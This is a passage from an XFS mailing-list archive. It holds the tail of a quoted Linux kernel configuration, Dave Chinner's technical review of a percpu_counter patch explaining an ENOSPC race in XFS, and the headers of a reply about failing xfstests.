CONFIG_NLS_MAC_ROMANIAN is not set > # CONFIG_NLS_MAC_TURKISH is not set > # CONFIG_NLS_UTF8 is not set > # CONFIG_DLM is not set > > # > # Kernel hacking > # > CONFIG_TRACE_IRQFLAGS_SUPPORT=y > > # > # printk and dmesg options > # > CONFIG_PRINTK_TIME=y > CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 > CONFIG_BOOT_PRINTK_DELAY=y > CONFIG_DYNAMIC_DEBUG=y > > # > # Compile-time checks and compiler options > # > CONFIG_DEBUG_INFO=y > # CONFIG_DEBUG_INFO_REDUCED is not set > # CONFIG_DEBUG_INFO_SPLIT is not set > # CONFIG_DEBUG_INFO_DWARF4 is not set > # CONFIG_GDB_SCRIPTS is not set > # CONFIG_ENABLE_WARN_DEPRECATED is not set > CONFIG_ENABLE_MUST_CHECK=y > CONFIG_FRAME_WARN=2048 > CONFIG_STRIP_ASM_SYMS=y > # CONFIG_READABLE_ASM is not set > CONFIG_UNUSED_SYMBOLS=y > # CONFIG_PAGE_OWNER is not set > CONFIG_DEBUG_FS=y > CONFIG_HEADERS_CHECK=y > # CONFIG_DEBUG_SECTION_MISMATCH is not set > CONFIG_ARCH_WANT_FRAME_POINTERS=y > CONFIG_FRAME_POINTER=y > # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set > CONFIG_MAGIC_SYSRQ=y > CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x0 > CONFIG_DEBUG_KERNEL=y > > # > # Memory Debugging > # > # CONFIG_PAGE_EXTENSION is not set > # CONFIG_DEBUG_PAGEALLOC is not set > # CONFIG_DEBUG_OBJECTS is not set > # CONFIG_SLUB_DEBUG_ON is not set > # CONFIG_SLUB_STATS is not set > CONFIG_HAVE_DEBUG_KMEMLEAK=y > # CONFIG_DEBUG_KMEMLEAK is not set > # CONFIG_DEBUG_STACK_USAGE is not set > CONFIG_DEBUG_VM=y > # CONFIG_DEBUG_VM_VMACACHE is not set > # CONFIG_DEBUG_VM_RB is not set > # CONFIG_DEBUG_VIRTUAL is not set > CONFIG_DEBUG_MEMORY_INIT=y > # CONFIG_DEBUG_PER_CPU_MAPS is not set > CONFIG_HAVE_DEBUG_STACKOVERFLOW=y > CONFIG_DEBUG_STACKOVERFLOW=y > CONFIG_HAVE_ARCH_KMEMCHECK=y > CONFIG_HAVE_ARCH_KASAN=y > # CONFIG_KASAN is not set > CONFIG_DEBUG_SHIRQ=y > > # > # Debug Lockups and Hangs > # > CONFIG_LOCKUP_DETECTOR=y > CONFIG_HARDLOCKUP_DETECTOR=y > # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set > CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 > # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set > CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 > # CONFIG_DETECT_HUNG_TASK is not set > # CONFIG_PANIC_ON_OOPS is not set > CONFIG_PANIC_ON_OOPS_VALUE=0 > CONFIG_PANIC_TIMEOUT=0 > CONFIG_SCHED_DEBUG=y > CONFIG_SCHED_INFO=y > # CONFIG_SCHEDSTATS is not set > # CONFIG_SCHED_STACK_END_CHECK is not set > # CONFIG_DEBUG_TIMEKEEPING is not set > CONFIG_TIMER_STATS=y > > # > # Lock Debugging (spinlocks, mutexes, etc...) > # > # CONFIG_DEBUG_RT_MUTEXES is not set > # CONFIG_DEBUG_SPINLOCK is not set > # CONFIG_DEBUG_MUTEXES is not set > # CONFIG_DEBUG_WW_MUTEX_SLOWPATH is not set > # CONFIG_DEBUG_LOCK_ALLOC is not set > # CONFIG_PROVE_LOCKING is not set > # CONFIG_LOCK_STAT is not set > # CONFIG_DEBUG_ATOMIC_SLEEP is not set > # CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set > # CONFIG_LOCK_TORTURE_TEST is not set > CONFIG_STACKTRACE=y > # CONFIG_DEBUG_KOBJECT is not set > CONFIG_DEBUG_BUGVERBOSE=y > CONFIG_DEBUG_LIST=y > # CONFIG_DEBUG_PI_LIST is not set > # CONFIG_DEBUG_SG is not set > # CONFIG_DEBUG_NOTIFIERS is not set > # CONFIG_DEBUG_CREDENTIALS is not set > > # > # RCU Debugging > # > # CONFIG_PROVE_RCU is not set > CONFIG_SPARSE_RCU_POINTER=y > # CONFIG_TORTURE_TEST is not set > # CONFIG_RCU_TORTURE_TEST is not set > CONFIG_RCU_CPU_STALL_TIMEOUT=60 > CONFIG_RCU_CPU_STALL_INFO=y > # CONFIG_RCU_TRACE is not set > # CONFIG_RCU_EQS_DEBUG is not set > # CONFIG_DEBUG_BLOCK_EXT_DEVT is not set > # CONFIG_NOTIFIER_ERROR_INJECTION is not set > # CONFIG_FAULT_INJECTION is not set > # CONFIG_LATENCYTOP is not set > CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y > # CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set > CONFIG_USER_STACKTRACE_SUPPORT=y > CONFIG_NOP_TRACER=y > CONFIG_HAVE_FUNCTION_TRACER=y > CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y > CONFIG_HAVE_FUNCTION_GRAPH_FP_TEST=y > CONFIG_HAVE_DYNAMIC_FTRACE=y > CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y > CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y > CONFIG_HAVE_SYSCALL_TRACEPOINTS=y > CONFIG_HAVE_FENTRY=y > CONFIG_HAVE_C_RECORDMCOUNT=y > CONFIG_TRACER_MAX_TRACE=y > CONFIG_TRACE_CLOCK=y > CONFIG_RING_BUFFER=y > CONFIG_EVENT_TRACING=y > CONFIG_CONTEXT_SWITCH_TRACER=y > CONFIG_TRACING=y > CONFIG_GENERIC_TRACER=y > CONFIG_TRACING_SUPPORT=y > CONFIG_FTRACE=y > CONFIG_FUNCTION_TRACER=y > CONFIG_FUNCTION_GRAPH_TRACER=y > # CONFIG_IRQSOFF_TRACER is not set > CONFIG_SCHED_TRACER=y > CONFIG_FTRACE_SYSCALLS=y > CONFIG_TRACER_SNAPSHOT=y > # CONFIG_TRACER_SNAPSHOT_PER_CPU_SWAP is not set > CONFIG_BRANCH_PROFILE_NONE=y > # CONFIG_PROFILE_ANNOTATED_BRANCHES is not set > # CONFIG_PROFILE_ALL_BRANCHES is not set > CONFIG_STACK_TRACER=y > CONFIG_BLK_DEV_IO_TRACE=y > CONFIG_KPROBE_EVENT=y > CONFIG_UPROBE_EVENT=y > CONFIG_PROBE_EVENTS=y > CONFIG_DYNAMIC_FTRACE=y > CONFIG_DYNAMIC_FTRACE_WITH_REGS=y > CONFIG_FUNCTION_PROFILER=y > CONFIG_FTRACE_MCOUNT_RECORD=y > # CONFIG_FTRACE_STARTUP_TEST is not set > # CONFIG_MMIOTRACE is not set > # CONFIG_TRACEPOINT_BENCHMARK is not set > # CONFIG_RING_BUFFER_BENCHMARK is not set > # CONFIG_RING_BUFFER_STARTUP_TEST is not set > # CONFIG_TRACE_ENUM_MAP_FILE is not set > > # > # Runtime Testing > # > # CONFIG_LKDTM is not set > # CONFIG_TEST_LIST_SORT is not set > # CONFIG_KPROBES_SANITY_TEST is not set > # CONFIG_BACKTRACE_SELF_TEST is not set > # CONFIG_RBTREE_TEST is not set > # CONFIG_INTERVAL_TREE_TEST is not set > # CONFIG_PERCPU_TEST is not set > CONFIG_ATOMIC64_SELFTEST=y > # CONFIG_TEST_HEXDUMP is not set > # CONFIG_TEST_STRING_HELPERS is not set > CONFIG_TEST_KSTRTOX=y > # CONFIG_TEST_RHASHTABLE is not set > CONFIG_PROVIDE_OHCI1394_DMA_INIT=y > CONFIG_BUILD_DOCSRC=y > # CONFIG_DMA_API_DEBUG is not set > # CONFIG_TEST_LKM is not set > # CONFIG_TEST_USER_COPY is not set > # CONFIG_TEST_BPF is not set > # CONFIG_TEST_FIRMWARE is not set > # CONFIG_TEST_UDELAY is not set > # CONFIG_MEMTEST is not set > # CONFIG_SAMPLES is not set > CONFIG_HAVE_ARCH_KGDB=y > CONFIG_KGDB=y > CONFIG_KGDB_SERIAL_CONSOLE=y > CONFIG_KGDB_TESTS=y > # CONFIG_KGDB_TESTS_ON_BOOT is not set > CONFIG_KGDB_LOW_LEVEL_TRAP=y > CONFIG_KGDB_KDB=y > CONFIG_KDB_DEFAULT_ENABLE=0x0 > CONFIG_KDB_KEYBOARD=y > CONFIG_KDB_CONTINUE_CATASTROPHIC=0 > CONFIG_STRICT_DEVMEM=y > # CONFIG_X86_VERBOSE_BOOTUP is not set > CONFIG_EARLY_PRINTK=y > CONFIG_EARLY_PRINTK_DBGP=y > CONFIG_EARLY_PRINTK_EFI=y > CONFIG_X86_PTDUMP=y > # CONFIG_EFI_PGT_DUMP is not set > CONFIG_DEBUG_RODATA=y > CONFIG_DEBUG_RODATA_TEST=y > CONFIG_DEBUG_SET_MODULE_RONX=y > # CONFIG_DEBUG_NX_TEST is not set > CONFIG_DOUBLEFAULT=y > # CONFIG_DEBUG_TLBFLUSH is not set > # CONFIG_IOMMU_STRESS is not set > CONFIG_HAVE_MMIOTRACE_SUPPORT=y > CONFIG_X86_DECODER_SELFTEST=y > CONFIG_IO_DELAY_TYPE_0X80=0 > CONFIG_IO_DELAY_TYPE_0XED=1 > CONFIG_IO_DELAY_TYPE_UDELAY=2 > CONFIG_IO_DELAY_TYPE_NONE=3 > CONFIG_IO_DELAY_0X80=y > # CONFIG_IO_DELAY_0XED is not set > # CONFIG_IO_DELAY_UDELAY is not set > # CONFIG_IO_DELAY_NONE is not set > CONFIG_DEFAULT_IO_DELAY_TYPE=0 > CONFIG_DEBUG_BOOT_PARAMS=y > # CONFIG_CPA_DEBUG is not set > CONFIG_OPTIMIZE_INLINING=y > # CONFIG_DEBUG_ENTRY is not set > # CONFIG_DEBUG_NMI_SELFTEST is not set > # CONFIG_X86_DEBUG_STATIC_CPU_HAS is not set > CONFIG_X86_DEBUG_FPU=y > # CONFIG_PUNIT_ATOM_DEBUG is not set > > # > # Security options > # > CONFIG_KEYS=y > CONFIG_PERSISTENT_KEYRINGS=y > CONFIG_BIG_KEYS=y > # CONFIG_ENCRYPTED_KEYS is not set > # CONFIG_SECURITY_DMESG_RESTRICT is not set > CONFIG_SECURITY=y > CONFIG_SECURITYFS=y > CONFIG_SECURITY_NETWORK=y > CONFIG_SECURITY_NETWORK_XFRM=y > # CONFIG_SECURITY_PATH is not set > CONFIG_INTEL_TXT=y > CONFIG_LSM_MMAP_MIN_ADDR=65536 > CONFIG_SECURITY_SELINUX=y > CONFIG_SECURITY_SELINUX_BOOTPARAM=y > CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=1 > CONFIG_SECURITY_SELINUX_DISABLE=y > CONFIG_SECURITY_SELINUX_DEVELOP=y > CONFIG_SECURITY_SELINUX_AVC_STATS=y > CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1 > # CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set > # CONFIG_SECURITY_SMACK is not set > # CONFIG_SECURITY_TOMOYO is not set > # CONFIG_SECURITY_APPARMOR is not set > CONFIG_SECURITY_YAMA=y > # CONFIG_SECURITY_YAMA_STACKED is not set > # CONFIG_INTEGRITY is not set > CONFIG_DEFAULT_SECURITY_SELINUX=y > # CONFIG_DEFAULT_SECURITY_YAMA is not set > # CONFIG_DEFAULT_SECURITY_DAC is not set > CONFIG_DEFAULT_SECURITY="selinux" > CONFIG_CRYPTO=y > > # > # Crypto core or helper > # > CONFIG_CRYPTO_FIPS=y > CONFIG_CRYPTO_ALGAPI=y > CONFIG_CRYPTO_ALGAPI2=y > CONFIG_CRYPTO_AEAD=y > CONFIG_CRYPTO_AEAD2=y > CONFIG_CRYPTO_BLKCIPHER=y > CONFIG_CRYPTO_BLKCIPHER2=y > CONFIG_CRYPTO_HASH=y > CONFIG_CRYPTO_HASH2=y > CONFIG_CRYPTO_RNG=y > CONFIG_CRYPTO_RNG2=y > CONFIG_CRYPTO_RNG_DEFAULT=y > CONFIG_CRYPTO_PCOMP2=y > CONFIG_CRYPTO_AKCIPHER2=y > # CONFIG_CRYPTO_RSA is not set > CONFIG_CRYPTO_MANAGER=y > CONFIG_CRYPTO_MANAGER2=y > # CONFIG_CRYPTO_USER is not set > # CONFIG_CRYPTO_MANAGER_DISABLE_TESTS is not set > CONFIG_CRYPTO_GF128MUL=y > CONFIG_CRYPTO_NULL=y > # CONFIG_CRYPTO_PCRYPT is not set > CONFIG_CRYPTO_WORKQUEUE=y > CONFIG_CRYPTO_CRYPTD=y > # CONFIG_CRYPTO_MCRYPTD is not set > # CONFIG_CRYPTO_AUTHENC is not set > # CONFIG_CRYPTO_TEST is not set > CONFIG_CRYPTO_ABLK_HELPER=y > CONFIG_CRYPTO_GLUE_HELPER_X86=y > > # > # Authenticated Encryption with Associated Data > # > # CONFIG_CRYPTO_CCM is not set > # CONFIG_CRYPTO_GCM is not set > # CONFIG_CRYPTO_CHACHA20POLY1305 is not set > CONFIG_CRYPTO_SEQIV=y > # CONFIG_CRYPTO_ECHAINIV is not set > > # > # Block modes > # > CONFIG_CRYPTO_CBC=y > CONFIG_CRYPTO_CTR=y > CONFIG_CRYPTO_CTS=y > CONFIG_CRYPTO_ECB=y > CONFIG_CRYPTO_LRW=y > # CONFIG_CRYPTO_PCBC is not set > CONFIG_CRYPTO_XTS=y > > # > # Hash modes > # > # CONFIG_CRYPTO_CMAC is not set > CONFIG_CRYPTO_HMAC=y > # CONFIG_CRYPTO_XCBC is not set > # CONFIG_CRYPTO_VMAC is not set > > # > # Digest > # > CONFIG_CRYPTO_CRC32C=y > CONFIG_CRYPTO_CRC32C_INTEL=y > # CONFIG_CRYPTO_CRC32 is not set > CONFIG_CRYPTO_CRC32_PCLMUL=y > CONFIG_CRYPTO_CRCT10DIF=y > CONFIG_CRYPTO_CRCT10DIF_PCLMUL=y > # CONFIG_CRYPTO_GHASH is not set > # CONFIG_CRYPTO_POLY1305 is not set > # CONFIG_CRYPTO_MD4 is not set > CONFIG_CRYPTO_MD5=y > # CONFIG_CRYPTO_MICHAEL_MIC is not set > # CONFIG_CRYPTO_RMD128 is not set > # CONFIG_CRYPTO_RMD160 is not set > # CONFIG_CRYPTO_RMD256 is not set > # CONFIG_CRYPTO_RMD320 is not set > CONFIG_CRYPTO_SHA1=y > # CONFIG_CRYPTO_SHA1_SSSE3 is not set > # CONFIG_CRYPTO_SHA256_SSSE3 is not set > # CONFIG_CRYPTO_SHA512_SSSE3 is not set > # CONFIG_CRYPTO_SHA1_MB is not set > CONFIG_CRYPTO_SHA256=y > # CONFIG_CRYPTO_SHA512 is not set > # CONFIG_CRYPTO_TGR192 is not set > # CONFIG_CRYPTO_WP512 is not set > CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL=y > > # > # Ciphers > # > CONFIG_CRYPTO_AES=y > CONFIG_CRYPTO_AES_X86_64=y > CONFIG_CRYPTO_AES_NI_INTEL=y > # CONFIG_CRYPTO_ANUBIS is not set > CONFIG_CRYPTO_ARC4=y > # CONFIG_CRYPTO_BLOWFISH is not set > # CONFIG_CRYPTO_BLOWFISH_X86_64 is not set > # CONFIG_CRYPTO_CAMELLIA is not set > # CONFIG_CRYPTO_CAMELLIA_X86_64 is not set > # CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set > # CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set > # CONFIG_CRYPTO_CAST5 is not set > # CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set > # CONFIG_CRYPTO_CAST6 is not set > # CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set > CONFIG_CRYPTO_DES=y > # CONFIG_CRYPTO_DES3_EDE_X86_64 is not set > # CONFIG_CRYPTO_FCRYPT is not set > # CONFIG_CRYPTO_KHAZAD is not set > # CONFIG_CRYPTO_SALSA20 is not set > # CONFIG_CRYPTO_SALSA20_X86_64 is not set > # CONFIG_CRYPTO_CHACHA20 is not set > # CONFIG_CRYPTO_SEED is not set > # CONFIG_CRYPTO_SERPENT is not set > # CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set > # CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set > # CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set > # CONFIG_CRYPTO_TEA is not set > # CONFIG_CRYPTO_TWOFISH is not set > # CONFIG_CRYPTO_TWOFISH_X86_64 is not set > # CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set > # CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set > > # > # Compression > # > # CONFIG_CRYPTO_DEFLATE is not set > # CONFIG_CRYPTO_ZLIB is not set > CONFIG_CRYPTO_LZO=y > # CONFIG_CRYPTO_842 is not set > # CONFIG_CRYPTO_LZ4 is not set > # CONFIG_CRYPTO_LZ4HC is not set > > # > # Random Number Generation > # > # CONFIG_CRYPTO_ANSI_CPRNG is not set > CONFIG_CRYPTO_DRBG_MENU=y > CONFIG_CRYPTO_DRBG_HMAC=y > # CONFIG_CRYPTO_DRBG_HASH is not set > # CONFIG_CRYPTO_DRBG_CTR is not set > CONFIG_CRYPTO_DRBG=y > CONFIG_CRYPTO_JITTERENTROPY=y > CONFIG_CRYPTO_USER_API=y > CONFIG_CRYPTO_USER_API_HASH=y > CONFIG_CRYPTO_USER_API_SKCIPHER=y > CONFIG_CRYPTO_USER_API_RNG=y > # CONFIG_CRYPTO_USER_API_AEAD is not set > CONFIG_CRYPTO_HASH_INFO=y > CONFIG_CRYPTO_HW=y > # CONFIG_CRYPTO_DEV_PADLOCK is not set > CONFIG_CRYPTO_DEV_CCP=y > # CONFIG_CRYPTO_DEV_CCP_DD is not set > # CONFIG_CRYPTO_DEV_QAT_DH895xCC is not set > CONFIG_ASYMMETRIC_KEY_TYPE=y > CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y > CONFIG_PUBLIC_KEY_ALGO_RSA=y > CONFIG_X509_CERTIFICATE_PARSER=y > CONFIG_PKCS7_MESSAGE_PARSER=y > # CONFIG_PKCS7_TEST_KEY is not set > CONFIG_SIGNED_PE_FILE_VERIFICATION=y > CONFIG_HAVE_KVM=y > CONFIG_KVM_COMPAT=y > CONFIG_VIRTUALIZATION=y > # CONFIG_KVM is not set > CONFIG_BINARY_PRINTF=y > > # > # Library routines > # > CONFIG_BITREVERSE=y > # CONFIG_HAVE_ARCH_BITREVERSE is not set > CONFIG_RATIONAL=y > CONFIG_GENERIC_STRNCPY_FROM_USER=y > CONFIG_GENERIC_STRNLEN_USER=y > CONFIG_GENERIC_NET_UTILS=y > CONFIG_GENERIC_FIND_FIRST_BIT=y > CONFIG_GENERIC_PCI_IOMAP=y > CONFIG_GENERIC_IOMAP=y > CONFIG_GENERIC_IO=y > CONFIG_PERCPU_RWSEM=y > CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y > CONFIG_ARCH_HAS_FAST_MULTIPLIER=y > # CONFIG_CRC_CCITT is not set > CONFIG_CRC16=y > CONFIG_CRC_T10DIF=y > # CONFIG_CRC_ITU_T is not set > CONFIG_CRC32=y > # CONFIG_CRC32_SELFTEST is not set > CONFIG_CRC32_SLICEBY8=y > # CONFIG_CRC32_SLICEBY4 is not set > # CONFIG_CRC32_SARWATE is not set > # CONFIG_CRC32_BIT is not set > # CONFIG_CRC7 is not set > CONFIG_LIBCRC32C=y > # CONFIG_CRC8 is not set > # CONFIG_AUDIT_ARCH_COMPAT_GENERIC is not set > # CONFIG_RANDOM32_SELFTEST is not set > CONFIG_ZLIB_INFLATE=y > CONFIG_ZLIB_DEFLATE=y > CONFIG_LZO_COMPRESS=y > CONFIG_LZO_DECOMPRESS=y > CONFIG_LZ4_DECOMPRESS=y > CONFIG_XZ_DEC=y > CONFIG_XZ_DEC_X86=y > CONFIG_XZ_DEC_POWERPC=y > CONFIG_XZ_DEC_IA64=y > CONFIG_XZ_DEC_ARM=y > CONFIG_XZ_DEC_ARMTHUMB=y > CONFIG_XZ_DEC_SPARC=y > CONFIG_XZ_DEC_BCJ=y > # CONFIG_XZ_DEC_TEST is not set > CONFIG_DECOMPRESS_GZIP=y > CONFIG_DECOMPRESS_BZIP2=y > CONFIG_DECOMPRESS_LZMA=y > CONFIG_DECOMPRESS_XZ=y > CONFIG_DECOMPRESS_LZO=y > CONFIG_DECOMPRESS_LZ4=y > CONFIG_GENERIC_ALLOCATOR=y > CONFIG_ASSOCIATIVE_ARRAY=y > CONFIG_HAS_IOMEM=y > CONFIG_HAS_IOPORT_MAP=y > CONFIG_HAS_DMA=y > CONFIG_CPU_RMAP=y > CONFIG_DQL=y > CONFIG_GLOB=y > # CONFIG_GLOB_SELFTEST is not set > CONFIG_NLATTR=y > CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y > CONFIG_AVERAGE=y > CONFIG_CLZ_TAB=y > # CONFIG_CORDIC is not set > # CONFIG_DDR is not set > CONFIG_MPILIB=y > CONFIG_OID_REGISTRY=y > CONFIG_UCS2_STRING=y > CONFIG_FONT_SUPPORT=y > # CONFIG_FONTS is not set > CONFIG_FONT_8x8=y > CONFIG_FONT_8x16=y > CONFIG_ARCH_HAS_SG_CHAIN=y > CONFIG_ARCH_HAS_PMEM_API=y > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From david@fromorbit.com Fri Oct 2 17:17:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2A9977F55 for ; Fri, 2 Oct 2015 17:17:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2305E304039 for ; Fri, 2 Oct 2015 15:16:57 -0700 (PDT) X-ASG-Debug-ID: 1443824211-04cb6c6b041afe00001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id KgXs0ypOcrk4GWt4 for ; Fri, 02 Oct 2015 15:16:52 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AtCwAQAQ9WPEcOLHlUChkBgw2BQoZaolQBAQEBAQEGixWFFYweBAICgTdNAQEBAQEBBwEBAQFAAT+EJAEBAQMBOhwjBQsIAxgJJQ8FJQMHGhOIJgfLUwELIBmGE4VFhDBdB4QsBYc0hwKHRo0PgV6NPIhig2+DJ4FQLDONCgEBAQ Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Oct 2015 07:46:50 +0930 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zi8dF-0001u6-Jc; Sat, 03 Oct 2015 08:16:49 +1000 Date: Sat, 3 Oct 2015 08:16:49 +1000 From: Dave Chinner To: Waiman Long Cc: Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <20151002221649.GL27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443824211 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23130 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 02, 2015 at 01:29:57PM -0400, Waiman Long wrote: > In __percpu_counter_compare(), if the current imprecise count is > within (batch*nr_cpus) of the input value to be compared, a call > to percpu_counter_sum() will be made to get the precise count. The > percpu_counter_sum() call, however, can be expensive especially on > large systems where there are a lot of CPUs. Large systems also make > it more likely that percpu_counter_sum() will be called. > > The xfs_mod_fdblocks() function calls __percpu_counter_compare() > twice. First to see if a smaller batch size should be used for > __percpu_counter_add() and the second call to compare the actual > size needed. This can potentially lead to 2 calls to the expensive > percpu_counter_sum() function. There should not be that much overhead in __percpu_counter_compare() through this path in normal operation. The slow path is only taken as you near ENOSPC... > This patch added an extra argument to __percpu_counter_compare() > to return the precise count, if computed. The caller will need to > initialize it to an invalid value that it can tell if the precise > count is being returned. This doesn't work. ENOSPC detection is a lockless algorithm that requires absolute precision. Assuming the XFS_ALLOC_SET_ASIDE() definition of ENOSPC is 0 blocks free, your change allows this race: free space: 1 block thread 1 thread 2 free space allocate 1 block allocate 1 block 1 sample pcount = 1 1 sample pcount = 1 1 add fdblocks, -1, 1) 0 add fdblocks, -1, 1) -1 if (pcount - 1 >= 0) if (pcount - 1 >= 0) OK! OK! -1 So, we've just failed to detect ENOSPC correct. One of those two threads should have returned ENOSPC and failed the allocation, but instead we've just allowed XFS to allocate a block that doesn't exist. Hence we have to resample the percpu counter after the modification to ensure that we don't miss this race condition. Sure, the curent code could race on the second comparisions and return ENOSPC to both threads, but that is a perfectly OK thing to do. It is vitally important that we don't oversubscribe filesystem space, because that will lead to all sorts of other problems (deadlocks, hangs, shutdowns, etc) that are very difficult to identify the cause of. FWIW, I'm guessing that you didn't run this patch through xfstests? xfstests will find these ENOSPC accounting bugs, and usually quite quickly... > Running the AIM7 disk workload with XFS filesystem, the jobs/min > on a 40-core 80-thread 4-socket Haswell-EX system increases from > 3805k to 4276k (12% increase) with this patch applied. As measured > by the perf tool, the %CPU cycle consumed by __percpu_counter_sum() > decreases from 12.64% to 7.08%. XFS should only hit the slow __percpu_counter_sum() path patch as the fs gets close to ENOSPC, which for your system will be less than: threshold = num_online_cpus * XFS_FDBLOCKS_BATCH * 2 blocks = 80 * 1024 * 2 blocks = 160,000 blocks = 640MB of disk space. Having less than 1GB of free space in an XFS filesystem is considered to be "almost ENOSPC" - when you have TB to PB of space, less than 1GB really "moments before ENOSPC". XFS trades off low overhead for fast path allocation with slowdowns as we near ENOSPC in allocation routines. It gets harder to find contiguous free space, files get more fragmented, IO takes longer because we seek more, etc. Hence we accept that performance slows down as as the need for precision increases as we near ENOSPC. I'd suggest you retry your benchmark with larger filesystems, and see what happens... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Oct 2 17:34:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DC67B7F55 for ; Fri, 2 Oct 2015 17:34:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BFCCC8F8033 for ; Fri, 2 Oct 2015 15:34:40 -0700 (PDT) X-ASG-Debug-ID: 1443825277-04bdf046281c0530001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id sIdaJNZgKfbYgTBf for ; Fri, 02 Oct 2015 15:34:37 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AqCwDkBQ9WPEcOLHleGQGDDYFChlqiVAEBAQEBAQaLFZEzBAICgTdNAQEBAQEBBwEBAQFAAT+EJAEBAQMBOhwjBQsIAxgJJQ8FJQMHGhOIJgfLUgEBAQcCIBmGE4VFhDsBAQ5CB4QsBYc0hwKHRogGhQmBXodbkjKEdywzi0MHFweBIgEBAQ Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Oct 2015 08:04:03 +0930 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zi8tu-0001vg-FA; Sat, 03 Oct 2015 08:34:02 +1000 Date: Sat, 3 Oct 2015 08:34:02 +1000 From: Dave Chinner To: Ross Zwisler Cc: xfs@oss.sgi.com Subject: Re: two failing xfstests using xfs (no DAX) Message-ID: <20151002223402.GM27164@dastard> X-ASG-Orig-Subj: Re: two failing xfstests using xfs (no DAX) References: <20151002174941.GA25082@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151002174941.GA25082@linux.intel.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] 